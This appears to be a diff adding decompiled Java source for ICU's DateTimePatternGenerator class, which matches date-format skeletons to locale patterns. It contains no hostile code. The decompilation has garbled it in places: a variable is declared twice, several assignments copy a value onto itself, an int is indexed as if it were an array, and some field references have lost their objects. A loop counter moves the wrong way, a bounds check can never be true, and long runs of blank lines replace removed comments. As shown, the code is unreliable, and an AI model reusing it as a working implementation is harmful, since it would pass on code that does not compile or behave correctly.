+    try
+    {
+      availFormatsBundle = rb.getWithFallback("calendar/" + calendarTypeToUse + "/availableFormats");
+    }
+    catch (MissingResourceException e) {}
+    
+
+    boolean override = true;
+    while (availFormatsBundle != null) {
+      for (int i = 0; i < availFormatsBundle.getSize(); i++) {
+        String formatKey = availFormatsBundle.get(i).getKey();
+        
+        if (!result.isAvailableFormatSet(formatKey)) {
+          result.setAvailableFormat(formatKey);
+          
+
+          String formatValue = availFormatsBundle.get(i).getString();
+          result.addPatternWithSkeleton(formatValue, formatKey, override, returnInfo);
+        }
+      }
+      
+      ICUResourceBundle pbundle = (ICUResourceBundle)availFormatsBundle.getParent();
+      if (pbundle == null) {
+        break;
+      }
+      try {
+        availFormatsBundle = pbundle.getWithFallback("calendar/" + calendarTypeToUse + "/availableFormats");
+      } catch (MissingResourceException e) {
+        availFormatsBundle = null;
+      }
+      if ((availFormatsBundle != null) && (pbundle.getULocale().getBaseName().equals("root"))) {
+        override = false;
+      }
+    }
+    
+
+
+    if (shortTimePattern != null) {
+      hackTimes(result, returnInfo, shortTimePattern);
+    }
+    
+    result.setDateTimeFormat(Calendar.getDateTimePattern(Calendar.getInstance(uLocale), uLocale, 2));
+    
+
+    DecimalFormatSymbols dfs = new DecimalFormatSymbols(uLocale);
+    result.setDecimal(String.valueOf(dfs.getDecimalSeparator()));
+    
+
+    result.freeze();
+    DTPNG_CACHE.put(localeKey, result);
+    return result;
+  }
+  
+  /**
+   * @deprecated
+   */
+  public char getDefaultHourFormatChar()
+  {
+    return defaultHourFormatChar;
+  }
+  
+  /**
+   * @deprecated
+   */
+  public void setDefaultHourFormatChar(char defaultHourFormatChar)
+  {
+    this.defaultHourFormatChar = defaultHourFormatChar;
+  }
+  
+  private static void hackTimes(DateTimePatternGenerator result, PatternInfo returnInfo, String hackPattern) {
+    fp.set(hackPattern);
+    StringBuilder mmss = new StringBuilder();
+    
+    boolean gotMm = false;
+    for (int i = 0; i < fp.items.size(); i++) {
+      Object item = fp.items.get(i);
+      if ((item instanceof String)) {
+        if (gotMm) {
+          mmss.append(fp.quoteLiteral(item.toString()));
+        }
+      } else {
+        char ch = item.toString().charAt(0);
+        if (ch == 'm') {
+          gotMm = true;
+          mmss.append(item);
+        } else if (ch == 's') {
+          if (gotMm)
+          {
+
+            mmss.append(item);
+            result.addPattern(mmss.toString(), false, returnInfo);
+          }
+        } else { if ((gotMm) || (ch == 'z') || (ch == 'Z') || (ch == 'v') || (ch == 'V')) {
+            break;
+          }
+        }
+      }
+    }
+    
+    BitSet variables = new BitSet();
+    BitSet nuke = new BitSet();
+    for (int i = 0; i < fp.items.size(); i++) {
+      Object item = fp.items.get(i);
+      if ((item instanceof VariableField)) {
+        variables.set(i);
+        char ch = item.toString().charAt(0);
+        if ((ch == 's') || (ch == 'S')) {
+          nuke.set(i);
+          for (int j = i - 1; j >= 0; j++) {
+            if (variables.get(j)) break;
+            nuke.set(i);
+          }
+        }
+      }
+    }
+    String hhmm = getFilteredPattern(fp, nuke);
+    result.addPattern(hhmm, false, returnInfo);
+  }
+  
+  private static String getFilteredPattern(FormatParser fp, BitSet nuke) {
+    StringBuilder result = new StringBuilder();
+    for (int i = 0; i < items.size(); i++) {
+      if (!nuke.get(i)) {
+        Object item = items.get(i);
+        if ((item instanceof String)) {
+          result.append(fp.quoteLiteral(item.toString()));
+        } else
+          result.append(item.toString());
+      }
+    }
+    return result.toString();
+  }
+  
+
+
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public static int getAppendFormatNumber(String string)
+  {
+    for (int i = 0; i < CLDR_FIELD_APPEND.length; i++) {
+      if (CLDR_FIELD_APPEND[i].equals(string)) return i;
+    }
+    return -1;
+  }
+  
+  private static boolean isCLDRFieldName(int index)
+  {
+    if ((index < 0) && (index >= 16)) {
+      return false;
+    }
+    if (CLDR_FIELD_NAME[index].charAt(0) == '*') {
+      return false;
+    }
+    
+    return true;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public String getBestPattern(String skeleton)
+  {
+    return getBestPattern(skeleton, null, 0);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public String getBestPattern(String skeleton, int options)
+  {
+    return getBestPattern(skeleton, null, options);
+  }
+  
+
+
+
+
+
+  private String getBestPattern(String skeleton, DateTimeMatcher skipMatcher, int options)
+  {
+    skeleton = skeleton.replaceAll("j", String.valueOf(defaultHourFormatChar));
+    String datePattern;
+    String timePattern;
+    synchronized (this) {
+      current.set(skeleton, fp, false);
+      PatternWithMatcher bestWithMatcher = getBestRaw(current, -1, _distanceInfo, skipMatcher);
+      if ((_distanceInfo.missingFieldMask == 0) && (_distanceInfo.extraFieldMask == 0))
+      {
+        return adjustFieldTypes(bestWithMatcher, current, false, options);
+      }
+      int neededFields = current.getFieldMask();
+      
+
+      datePattern = getBestAppending(current, neededFields & 0x3FF, _distanceInfo, skipMatcher, options);
+      timePattern = getBestAppending(current, neededFields & 0xFC00, _distanceInfo, skipMatcher, options);
+    }
+    
+    if (datePattern == null) return timePattern == null ? "" : timePattern;
+    if (timePattern == null) return datePattern;
+    return MessageFormat.format(getDateTimeFormat(), new Object[] { timePattern, datePattern });
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public DateTimePatternGenerator addPattern(String pattern, boolean override, PatternInfo returnInfo)
+  {
+    return addPatternWithSkeleton(pattern, null, override, returnInfo);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public DateTimePatternGenerator addPatternWithSkeleton(String pattern, String skeletonToUse, boolean override, PatternInfo returnInfo)
+  {
+    checkFrozen();
+    DateTimeMatcher matcher;
+    DateTimeMatcher matcher; if (skeletonToUse == null) {
+      matcher = new DateTimeMatcher(null).set(pattern, fp, false);
+    } else {
+      matcher = new DateTimeMatcher(null).set(skeletonToUse, fp, false);
+    }
+    String basePattern = matcher.getBasePattern();
+    
+
+
+
+
+
+
+    PatternWithSkeletonFlag previousPatternWithSameBase = (PatternWithSkeletonFlag)basePattern_pattern.get(basePattern);
+    if ((previousPatternWithSameBase != null) && ((!skeletonWasSpecified) || ((skeletonToUse != null) && (!override)))) {
+      status = 1;
+      conflictingPattern = pattern;
+      if (!override) {
+        return this;
+      }
+    }
+    
+
+
+
+    PatternWithSkeletonFlag previousValue = (PatternWithSkeletonFlag)skeleton2pattern.get(matcher);
+    if (previousValue != null) {
+      status = 2;
+      conflictingPattern = pattern;
+      if ((!override) || ((skeletonToUse != null) && (skeletonWasSpecified))) return this;
+    }
+    status = 0;
+    conflictingPattern = "";
+    PatternWithSkeletonFlag patWithSkelFlag = new PatternWithSkeletonFlag(pattern, skeletonToUse != null);
+    
+
+
+    skeleton2pattern.put(matcher, patWithSkelFlag);
+    basePattern_pattern.put(basePattern, patWithSkelFlag);
+    return this;
+  }
+  
+
+
+
+
+
+
+
+  public String getSkeleton(String pattern)
+  {
+    synchronized (this) {
+      current.set(pattern, fp, false);
+      return current.toString();
+    }
+  }
+  
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public String getSkeletonAllowingDuplicates(String pattern)
+  {
+    synchronized (this) {
+      current.set(pattern, fp, true);
+      return current.toString();
+    }
+  }
+  
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public String getCanonicalSkeletonAllowingDuplicates(String pattern)
+  {
+    synchronized (this) {
+      current.set(pattern, fp, true);
+      return current.toCanonicalString();
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public String getBaseSkeleton(String pattern)
+  {
+    synchronized (this) {
+      current.set(pattern, fp, false);
+      return current.getBasePattern();
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public Map<String, String> getSkeletons(Map<String, String> result)
+  {
+    if (result == null) {
+      result = new LinkedHashMap();
+    }
+    for (DateTimeMatcher item : skeleton2pattern.keySet()) {
+      PatternWithSkeletonFlag patternWithSkelFlag = (PatternWithSkeletonFlag)skeleton2pattern.get(item);
+      String pattern = pattern;
+      if (!CANONICAL_SET.contains(pattern))
+      {
+
+        result.put(item.toString(), pattern); }
+    }
+    return result;
+  }
+  
+
+
+
+  public Set<String> getBaseSkeletons(Set<String> result)
+  {
+    if (result == null) {
+      result = new HashSet();
+    }
+    result.addAll(basePattern_pattern.keySet());
+    return result;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public String replaceFieldTypes(String pattern, String skeleton)
+  {
+    return replaceFieldTypes(pattern, skeleton, 0);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public String replaceFieldTypes(String pattern, String skeleton, int options)
+  {
+    synchronized (this) {
+      PatternWithMatcher patternNoMatcher = new PatternWithMatcher(pattern, null);
+      return adjustFieldTypes(patternNoMatcher, current.set(skeleton, fp, false), false, options);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void setDateTimeFormat(String dateTimeFormat)
+  {
+    checkFrozen();
+    this.dateTimeFormat = dateTimeFormat;
+  }
+  
+
+
+
+
+
+  public String getDateTimeFormat()
+  {
+    return dateTimeFormat;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public void setDecimal(String decimal)
+  {
+    checkFrozen();
+    this.decimal = decimal;
+  }
+  
+
+
+
+
+  public String getDecimal()
+  {
+    return decimal;
+  }
+  
+
+
+
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public Collection<String> getRedundants(Collection<String> output)
+  {
+    synchronized (this) {
+      if (output == null) {
+        output = new LinkedHashSet();
+      }
+      for (DateTimeMatcher cur : skeleton2pattern.keySet()) {
+        PatternWithSkeletonFlag patternWithSkelFlag = (PatternWithSkeletonFlag)skeleton2pattern.get(cur);
+        String pattern = pattern;
+        if (!CANONICAL_SET.contains(pattern))
+        {
+
+          String trial = getBestPattern(cur.toString(), cur, 0);
+          if (trial.equals(pattern)) {
+            output.add(pattern);
+          }
+        }
+      }
+      
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+      return output;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void setAppendItemFormat(int field, String value)
+  {
+    checkFrozen();
+    appendItemFormats[field] = value;
+  }
+  
+
+
+
+
+
+
+
+  public String getAppendItemFormat(int field)
+  {
+    return appendItemFormats[field];
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public void setAppendItemName(int field, String value)
+  {
+    checkFrozen();
+    appendItemNames[field] = value;
+  }
+  
+
+
+
+
+
+
+
+  public String getAppendItemName(int field)
+  {
+    return appendItemNames[field];
+  }
+  
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public static boolean isSingleField(String skeleton)
+  {
+    char first = skeleton.charAt(0);
+    for (int i = 1; i < skeleton.length(); i++) {
+      if (skeleton.charAt(i) != first) return false;
+    }
+    return true;
+  }
+  
+
+
+
+
+
+  private void setAvailableFormat(String key)
+  {
+    checkFrozen();
+    cldrAvailableFormatKeys.add(key);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  private boolean isAvailableFormatSet(String key)
+  {
+    return cldrAvailableFormatKeys.contains(key);
+  }
+  
+
+
+
+  public boolean isFrozen()
+  {
+    return frozen;
+  }
+  
+
+
+
+  public DateTimePatternGenerator freeze()
+  {
+    frozen = true;
+    return this;
+  }
+  
+
+
+
+  public DateTimePatternGenerator cloneAsThawed()
+  {
+    DateTimePatternGenerator result = (DateTimePatternGenerator)clone();
+    frozen = false;
+    return result;
+  }
+  
+
+
+
+  public Object clone()
+  {
+    try
+    {
+      DateTimePatternGenerator result = (DateTimePatternGenerator)super.clone();
+      skeleton2pattern = ((TreeMap)skeleton2pattern.clone());
+      basePattern_pattern = ((TreeMap)basePattern_pattern.clone());
+      appendItemFormats = ((String[])appendItemFormats.clone());
+      appendItemNames = ((String[])appendItemNames.clone());
+      current = new DateTimeMatcher(null);
+      fp = new FormatParser();
+      _distanceInfo = new DistanceInfo(null);
+      
+      frozen = false;
+      return result;
+    }
+    catch (CloneNotSupportedException e) {
+      throw new IllegalArgumentException("Internal Error");
+    }
+  }
+  
+  public static final class PatternInfo
+  {
+    public static final int OK = 0;
+    public static final int BASE_CONFLICT = 1;
+    public static final int CONFLICT = 2;
+    public int status;
+    public String conflictingPattern;
+    
+    public PatternInfo() {}
+  }
+  
+  /**
+   * @deprecated
+   */
+  public static class VariableField {
+    private final String string;
+    private final int canonicalIndex;
+    
+    /**
+     * @deprecated
+     */
+    public VariableField(String string) {
+      this(string, false);
+    }
+    
+
+
+
+    /**
+     * @deprecated
+     */
+    public VariableField(String string, boolean strict)
+    {
+      canonicalIndex = DateTimePatternGenerator.getCanonicalIndex(string, strict);
+      if (canonicalIndex < 0) {
+        throw new IllegalArgumentException("Illegal datetime field:\t" + string);
+      }
+      
+      this.string = string;
+    }
+    
+
+
+
+
+    /**
+     * @deprecated
+     */
+    public int getType()
+    {
+      return DateTimePatternGenerator.types[canonicalIndex][1];
+    }
+    
+    /**
+     * @deprecated
+     */
+    public static String getCanonicalCode(int type)
+    {
+      try {
+        return DateTimePatternGenerator.CANONICAL_ITEMS[type];
+      } catch (Exception e) {}
+      return String.valueOf(type);
+    }
+    
+
+
+    /**
+     * @deprecated
+     */
+    public boolean isNumeric()
+    {
+      return DateTimePatternGenerator.types[canonicalIndex][2] > 0;
+    }
+    
+
+
+    private int getCanonicalIndex()
+    {
+      return canonicalIndex;
+    }
+    
+
+    /**
+     * @deprecated
+     */
+    public String toString()
+    {
+      return string;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public static class FormatParser
+  {
+    private transient PatternTokenizer tokenizer = new PatternTokenizer().setSyntaxCharacters(new UnicodeSet("[a-zA-Z]")).setExtraQuotingCharacters(new UnicodeSet("[[[:script=Latn:][:script=Cyrl:]]&[[:L:][:M:]]]")).setUsingQuote(true);
+    
+
+
+
+    private List<Object> items = new ArrayList();
+    
+
+
+
+    /**
+     * @deprecated
+     */
+    public FormatParser() {}
+    
+
+
+
+    /**
+     * @deprecated
+     */
+    public final FormatParser set(String string)
+    {
+      return set(string, false);
+    }
+    
+
+
+
+
+    /**
+     * @deprecated
+     */
+    public FormatParser set(String string, boolean strict)
+    {
+      items.clear();
+      if (string.length() == 0) return this;
+      tokenizer.setPattern(string);
+      StringBuffer buffer = new StringBuffer();
+      StringBuffer variable = new StringBuffer();
+      for (;;) {
+        buffer.setLength(0);
+        int status = tokenizer.next(buffer);
+        if (status == 0) break;
+        if (status == 1) {
+          if ((variable.length() != 0) && (buffer.charAt(0) != variable.charAt(0))) {
+            addVariable(variable, false);
+          }
+          variable.append(buffer);
+        } else {
+          addVariable(variable, false);
+          items.add(buffer.toString());
+        }
+      }
+      addVariable(variable, false);
+      return this;
+    }
+    
+    private void addVariable(StringBuffer variable, boolean strict) {
+      if (variable.length() != 0) {
+        items.add(new DateTimePatternGenerator.VariableField(variable.toString(), strict));
+        variable.setLength(0);
+      }
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    /**
+     * @deprecated
+     */
+    public List<Object> getItems()
+    {
+      return items;
+    }
+    
+
+    /**
+     * @deprecated
+     */
+    public String toString()
+    {
+      return toString(0, items.size());
+    }
+    
+
+
+
+
+    /**
+     * @deprecated
+     */
+    public String toString(int start, int limit)
+    {
+      StringBuilder result = new StringBuilder();
+      for (int i = start; i < limit; i++) {
+        Object item = items.get(i);
+        if ((item instanceof String)) {
+          String itemString = (String)item;
+          result.append(tokenizer.quoteLiteral(itemString));
+        } else {
+          result.append(items.get(i).toString());
+        }
+      }
+      return result.toString();
+    }
+    
+
+
+    /**
+     * @deprecated
+     */
+    public boolean hasDateAndTimeFields()
+    {
+      int foundMask = 0;
+      for (Object item : items) {
+        if ((item instanceof DateTimePatternGenerator.VariableField)) {
+          int type = ((DateTimePatternGenerator.VariableField)item).getType();
+          foundMask |= 1 << type;
+        }
+      }
+      boolean isDate = (foundMask & 0x3FF) != 0;
+      boolean isTime = (foundMask & 0xFC00) != 0;
+      return (isDate) && (isTime);
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    /**
+     * @deprecated
+     */
+    public Object quoteLiteral(String string)
+    {
+      return tokenizer.quoteLiteral(string);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public boolean skeletonsAreSimilar(String id, String skeleton)
+  {
+    if (id.equals(skeleton)) {
+      return true;
+    }
+    
+    TreeSet<String> parser1 = getSet(id);
+    TreeSet<String> parser2 = getSet(skeleton);
+    if (parser1.size() != parser2.size()) {
+      return false;
+    }
+    Iterator<String> it2 = parser2.iterator();
+    for (String item : parser1) {
+      int index1 = getCanonicalIndex(item, false);
+      String item2 = (String)it2.next();
+      int index2 = getCanonicalIndex(item2, false);
+      if (types[index1][1] != types[index2][1]) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+  private TreeSet<String> getSet(String id) {
+    List<Object> items = fp.set(id).getItems();
+    TreeSet<String> result = new TreeSet();
+    for (Object obj : items) {
+      String item = obj.toString();
+      if ((!item.startsWith("G")) && (!item.startsWith("a")))
+      {
+
+        result.add(item); }
+    }
+    return result;
+  }
+  
+  private static class PatternWithMatcher
+  {
+    public String pattern;
+    public DateTimePatternGenerator.DateTimeMatcher matcherWithSkeleton;
+    
+    public PatternWithMatcher(String pat, DateTimePatternGenerator.DateTimeMatcher matcher)
+    {
+      pattern = pat;
+      matcherWithSkeleton = matcher;
+    }
+  }
+  
+  private static class PatternWithSkeletonFlag {
+    public String pattern;
+    public boolean skeletonWasSpecified;
+    
+    public PatternWithSkeletonFlag(String pat, boolean skelSpecified) { pattern = pat;
+      skeletonWasSpecified = skelSpecified;
+    }
+    
+    public String toString() { return pattern + "," + skeletonWasSpecified; }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static ICUCache<String, DateTimePatternGenerator> DTPNG_CACHE = new SimpleCache();
+  
+  private void checkFrozen() {
+    if (isFrozen()) {
+      throw new UnsupportedOperationException("Attempt to modify frozen object");
+    }
+  }
+  
+
+
+
+  private String getBestAppending(DateTimeMatcher source, int missingFields, DistanceInfo distInfo, DateTimeMatcher skipMatcher, int options)
+  {
+    String resultPattern = null;
+    if (missingFields != 0) {
+      PatternWithMatcher resultPatternWithMatcher = getBestRaw(source, missingFields, distInfo, skipMatcher);
+      resultPattern = adjustFieldTypes(resultPatternWithMatcher, source, false, options);
+      
+      while (missingFieldMask != 0)
+      {
+
+
+        if (((missingFieldMask & 0x6000) == 16384) && ((missingFields & 0x6000) == 24576))
+        {
+          pattern = resultPattern;
+          resultPattern = adjustFieldTypes(resultPatternWithMatcher, source, true, options);
+          missingFieldMask &= 0xBFFF;
+        }
+        else
+        {
+          int startingMask = missingFieldMask;
+          PatternWithMatcher tempWithMatcher = getBestRaw(source, missingFieldMask, distInfo, skipMatcher);
+          String temp = adjustFieldTypes(tempWithMatcher, source, false, options);
+          int foundMask = startingMask & (missingFieldMask ^ 0xFFFFFFFF);
+          int topField = getTopBitNumber(foundMask);
+          resultPattern = MessageFormat.format(getAppendFormat(topField), new Object[] { resultPattern, temp, getAppendName(topField) });
+        } }
+    }
+    return resultPattern;
+  }
+  
+  private String getAppendName(int foundMask) {
+    return "'" + appendItemNames[foundMask] + "'";
+  }
+  
+  private String getAppendFormat(int foundMask) { return appendItemFormats[foundMask]; }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  private int getTopBitNumber(int foundMask)
+  {
+    int i = 0;
+    while (foundMask != 0) {
+      foundMask >>>= 1;
+      i++;
+    }
+    return i - 1;
+  }
+  
+
+
+  private void complete()
+  {
+    PatternInfo patternInfo = new PatternInfo();
+    
+    for (int i = 0; i < CANONICAL_ITEMS.length; i++)
+    {
+      addPattern(String.valueOf(CANONICAL_ITEMS[i]), false, patternInfo);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  private PatternWithMatcher getBestRaw(DateTimeMatcher source, int includeMask, DistanceInfo missingFields, DateTimeMatcher skipMatcher)
+  {
+    int bestDistance = Integer.MAX_VALUE;
+    PatternWithMatcher bestPatternWithMatcher = new PatternWithMatcher("", null);
+    DistanceInfo tempInfo = new DistanceInfo(null);
+    for (DateTimeMatcher trial : skeleton2pattern.keySet()) {
+      if (!trial.equals(skipMatcher))
+      {
+
+        int distance = source.getDistance(trial, includeMask, tempInfo);
+        
+
+        if (distance < bestDistance) {
+          bestDistance = distance;
+          PatternWithSkeletonFlag patternWithSkelFlag = (PatternWithSkeletonFlag)skeleton2pattern.get(trial);
+          pattern = pattern;
+          
+
+          if (skeletonWasSpecified) {
+            matcherWithSkeleton = trial;
+          } else {
+            matcherWithSkeleton = null;
+          }
+          missingFields.setTo(tempInfo);
+          if (distance == 0)
+            break;
+        }
+      }
+    }
+    return bestPatternWithMatcher;
+  }
+  
+
+
+
+  private String adjustFieldTypes(PatternWithMatcher patternWithMatcher, DateTimeMatcher inputRequest, boolean fixFractionalSeconds, int options)
+  {
+    fp.set(pattern);
+    StringBuilder newPattern = new StringBuilder();
+    for (Object item : fp.getItems()) {
+      if ((item instanceof String)) {
+        newPattern.append(fp.quoteLiteral((String)item));
+      } else {
+        VariableField variableField = (VariableField)item;
+        StringBuilder fieldBuilder = new StringBuilder(variableField.toString());
+        
+
+
+
+
+        int type = variableField.getType();
+        
+        if ((fixFractionalSeconds) && (type == 13)) {
+          String newField = original[14];
+          fieldBuilder.append(decimal);
+          fieldBuilder.append(newField);
+        } else if (type[type] != 0)
+        {
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+          String reqField = original[type];
+          int reqFieldLen = reqField.length();
+          if ((reqField.charAt(0) == 'E') && (reqFieldLen < 3)) {
+            reqFieldLen = 3;
+          }
+          int adjFieldLen = reqFieldLen;
+          DateTimeMatcher matcherWithSkeleton = matcherWithSkeleton;
+          if (((type == 11) && ((options & 0x800) == 0)) || ((type == 12) && ((options & 0x1000) == 0)) || ((type == 13) && ((options & 0x2000) == 0)))
+          {
+
+            adjFieldLen = fieldBuilder.length();
+          } else if (matcherWithSkeleton != null) {
+            String skelField = matcherWithSkeleton.origStringForField(type);
+            int skelFieldLen = skelField.length();
+            boolean patFieldIsNumeric = variableField.isNumeric();
+            boolean skelFieldIsNumeric = matcherWithSkeleton.fieldIsNumeric(type);
+            if ((skelFieldLen == reqFieldLen) || ((patFieldIsNumeric) && (!skelFieldIsNumeric)) || ((skelFieldIsNumeric) && (!patFieldIsNumeric)))
+            {
+              adjFieldLen = fieldBuilder.length();
+            }
+          }
+          char c = (type != 11) && (type != 3) && (type != 6) && (type != 1) ? reqField.charAt(0) : fieldBuilder.charAt(0);
+          fieldBuilder = new StringBuilder();
+          for (int i = adjFieldLen; i > 0; i--) fieldBuilder.append(c);
+        }
+        newPattern.append(fieldBuilder);
+      }
+    }
+    
+    return newPattern.toString();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public String getFields(String pattern)
+  {
+    fp.set(pattern);
+    StringBuilder newPattern = new StringBuilder();
+    for (Object item : fp.getItems()) {
+      if ((item instanceof String)) {
+        newPattern.append(fp.quoteLiteral((String)item));
+      } else {
+        newPattern.append("{" + getName(item.toString()) + "}");
+      }
+    }
+    return newPattern.toString();
+  }
+  
+  private static String showMask(int mask) {
+    StringBuilder result = new StringBuilder();
+    for (int i = 0; i < 16; i++)
+      if ((mask & 1 << i) != 0)
+      {
+        if (result.length() != 0)
+          result.append(" | ");
+        result.append(FIELD_NAME[i]);
+        result.append(" ");
+      }
+    return result.toString();
+  }
+  
+  private static final String[] CLDR_FIELD_APPEND = { "Era", "Year", "Quarter", "Month", "Week", "*", "Day-Of-Week", "Day", "*", "*", "*", "Hour", "Minute", "Second", "*", "Timezone" };
+  
+
+
+
+
+  private static final String[] CLDR_FIELD_NAME = { "era", "year", "*", "month", "week", "*", "weekday", "day", "*", "*", "dayperiod", "hour", "minute", "second", "*", "zone" };
+  
+
+
+
+
+  private static final String[] FIELD_NAME = { "Era", "Year", "Quarter", "Month", "Week_in_Year", "Week_in_Month", "Weekday", "Day", "Day_Of_Year", "Day_of_Week_in_Month", "Dayperiod", "Hour", "Minute", "Second", "Fractional_Second", "Zone" };
+  
+
+
+
+
+
+  private static final String[] CANONICAL_ITEMS = { "G", "y", "Q", "M", "w", "W", "E", "d", "D", "F", "H", "m", "s", "S", "v" };
+  
+
+
+
+
+  private static final Set<String> CANONICAL_SET = new HashSet(Arrays.asList(CANONICAL_ITEMS));
+  private Set<String> cldrAvailableFormatKeys;
+  private static final int DATE_MASK = 1023;
+  private static final int TIME_MASK = 64512;
+  private static final int DELTA = 16;
+  private static final int NUMERIC = 256;
+  private static final int NONE = 0;
+  private static final int NARROW = -257;
+  private static final int SHORT = -258;
+  private static final int LONG = -259;
+  private static final int EXTRA_FIELD = 65536;
+  private static final int MISSING_FIELD = 4096;
+  
+  protected DateTimePatternGenerator()
+  {
+    skeleton2pattern = new TreeMap();
+    basePattern_pattern = new TreeMap();
+    decimal = "?";
+    dateTimeFormat = "{1} {0}";
+    appendItemFormats = new String[16];
+    appendItemNames = new String[16];
+    
+    for (int i = 0; i < 16; i++) {
+      appendItemFormats[i] = "{0} ├{2}: {1}┤";
+      appendItemNames[i] = ("F" + i);
+    }
+    
+    defaultHourFormatChar = 'H';
+    
+
+    frozen = false;
+    
+    current = new DateTimeMatcher(null);
+    fp = new FormatParser();
+    _distanceInfo = new DistanceInfo(null);
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    complete();
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    cldrAvailableFormatKeys = new HashSet(20);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static String getName(String s)
+  {
+    int i = getCanonicalIndex(s, true);
+    String name = FIELD_NAME[types[i][1]];
+    int subtype = types[i][2];
+    boolean string = subtype < 0;
+    if (string) subtype = -subtype;
+    if (subtype < 0) name = name + ":S"; else
+      name = name + ":N";
+    return name;
+  }
+  
+
+
+
+
+  private static int getCanonicalIndex(String s, boolean strict)
+  {
+    int len = s.length();
+    if (len == 0) {
+      return -1;
+    }
+    int ch = s.charAt(0);
+    
+    for (int i = 1; i < len; i++) {
+      if (s.charAt(i) != ch) {
+        return -1;
+      }
+    }
+    int bestRow = -1;
+    for (int i = 0; i < types.length; i++) {
+      int[] row = types[i];
+      if (row[0] == ch) {
+        bestRow = i;
+        if ((row[3] <= len) && 
+          (row[(row.length - 1)] >= len))
+          return i;
+      } }
+    return strict ? -1 : bestRow;
+  }
+  
